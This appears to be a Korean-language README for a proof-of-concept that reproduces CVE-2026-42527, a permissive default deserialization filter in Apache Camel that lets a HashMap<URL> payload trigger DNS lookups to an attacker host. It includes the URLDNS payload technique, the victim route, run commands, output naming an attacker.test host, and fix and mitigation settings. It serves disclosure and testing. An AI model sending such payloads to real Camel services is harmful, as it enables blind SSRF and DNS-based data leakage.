
CVE-2026-42527 재현 도구 — Apache Camel의 허용적인 기본 ObjectInputFilter가 java.net.URL을 허용하여 DNS 기반 대역외(OOB) 사이드 채널을 가능하게 합니다.
이 프로젝트는 Apache Camel의 CVE-2026-42527을 시연합니다. 여러 Camel 구성 요소가 심층 방어 역직렬화 필터링을 위해 제공하는 기본 ObjectInputFilter 패턴 —
java.**;javax.**;org.apache.camel.**;!* — 은 재귀적 java.** 글로브를 사용하며, 이는 java.net.URL을 허용합니다.
java.net.URL.hashCode()는 URL 호스트의 DNS 조회를 수행하므로, java.net.URL 키를 포함하는 HashMap(또는
요소를 해싱하는 모든 컬렉션)을 역직렬화하면 JVM이 역직렬화 중에 공격자가 제공한 호스트로 DNS 쿼리를
보내게 됩니다. 클래스 수준 필터 검사는 통과하며(결과 객체는 허용 목록에 있는 HashMap임), 이를 막을 수 있는
것이 없습니다 — 이는 대역 외 정보 노출 사이드 채널(RCE가 아님)입니다.
권고: https://camel.apache.org/security/CVE-2026-42527.html
이 결함은 역직렬화 강화 시리즈(CAMEL-23297/23319/23321/23322/23324)에 의해 도입되었으며, 이 시리즈가 너무 허용적인 기본 필터를 추가했습니다. CVE-2026-42527은 이를 강화합니다.
이 PoC는 camel-mina 4.18.2를 사용합니다. 여기서 MinaConverter.toObjectInput은 기본 필터를
ObjectInputStream에 직접 설치하므로, 필터가 게이팅 제어(영향 버전과 수정 버전 간의 명확한 대비) 역할을 합니다.
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
java.** 글로브는 java.net.URL을 허용합니다. HashMap<URL, ...>을 역직렬화하면 HashMap.readObject()가
항목을 다시 삽입하고 hash(key) → URL.hashCode() → InetAddress.getByName(host) → 공격자 호스트로의 DNS 쿼리를 계산합니다.
4.18.3 / 4.21.0 수정 버전은 거부 규칙을 앞에 추가합니다:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
이제 hashCode()가 실행되기 전에 java.net.URL이 역직렬화 중 거부됩니다(InvalidClassException: filter status: REJECTED) —
DNS 쿼리가 발생하지 않습니다.
실제 노출 위험이 가장 높은 곳은 camel-jms 계열로,
JmsBinding.extractBodyFromJms는mapJmsMessage=true(기본값)일 때ObjectMessage.getObject()를 무조건 호출합니다. 이 PoC는 camel-mina를 사용하는데, 그 이유는 완전히 자립적이고(브로커 불필요) 필터가 스트림에 직접 적용되기 때문입니다.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode()는 JVM의 리졸버를 통해 호스트를 확인합니다. 이 조회를 결정적으로 그리고 오프라인에서
관찰하기 위해, 앱은 사용자 정의 java.net.spi.InetAddressResolverProvider(JDK 18+, JEP 418)를 등록하며,
이 공급자는 공격자 마커를 포함하는 호스트 이름을 기록하고 루프백 스텁으로 응답합니다.
공격자 호스트가 리졸버에 도달하는 것을 확인하는 것 그 자체가 대역 외 사이드 채널이 작동한다는 증거입니다.
페이로드는 고전적인 ysoserial URLDNS 트릭으로 구성됩니다: URL의 캐시된 hashCode 필드를 미리 채워서
빌더 측에서 맵에 삽입할 때 호스트를 확인하지 않도록 한 다음, -1로 재설정하여 피해자가 역직렬화할 때만
조회가 발생하도록 합니다. (해당 리플렉션에는 --add-opens java.base/java.net이 필요합니다 — 페이로드 구성
세부 사항으로, 취약점과는 무관합니다.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true는 공격자의 HashMap<URL> 역직렬화가 공격자 호스트를 확인했음을 의미합니다 —
공격자가 제어하는 DNS 서버는 해당 쿼리를 볼 수 있습니다.
강화된 JVM 전체 필터(toObjectInput이 존중하며, 4.18.3 수정을 반영)로 실행합니다:
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
기본 필터 하에서 공격자가 제어하는 바이트를 역직렬화하는 모든 영향을 받는 Camel 컨슈머 — 가장 대표적으로
mapJmsMessage=true 설정의 camel-jms/sjms/amqp 컨슈머, 또는 mina/netty/vertx-http/infinispan 및
집계 저장소(aggregation-repository) 구성 요소 — 에서 공격자가 HashMap<URL>(또는 java.net.URL을 해싱하는
모든 컬렉션)을 전달할 수 있는 경우입니다.
deserializationFilter / -Djdk.serialFilter 재정의가 없고, 공급자 측 허용 목록도 없는 경우).java.net.URL을 넣을 수 있어야 합니다. 가젯 라이브러리는 필요하지
않습니다 — 표준 JDK 클래스만 있으면 됩니다.기본 필터가 java.net.**을 거부하도록 변경된 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23372)로 업그레이드하세요.
업그레이드할 때까지:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter 옵션 또는 JVM 전체 -Djdk.serialFilter를 명시적 거부 규칙으로 재정의합니다:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(javax.**를 생략하는 집계 저장소 구성 요소의 경우 !java.net.**;java.**;org.apache.camel.**;!* 사용).이 재현기는 공개적으로 공개되었고 수정된 취약점에 대해 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 구성 요소 | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, 및 집계 저장소 (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| 결함 | 기본 필터 java.**;javax.**;org.apache.camel.**;!*가 java.net.URL / java.net.InetAddress를 허용함 |
| CWE | CWE-502 (안전하지 않은 역직렬화)로 인한 대역 외 정보 노출 / DNS를 통한 블라인드 SSRF |
| 영향 | 역직렬화 중 공격자가 관찰 가능한 DNS 쿼리 (데이터 유출 사이드 채널) |
| 영향 받는 버전 | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| 보고자 | Venkatraman Kumar (Securin) 및 Yu Bao (PayPal) |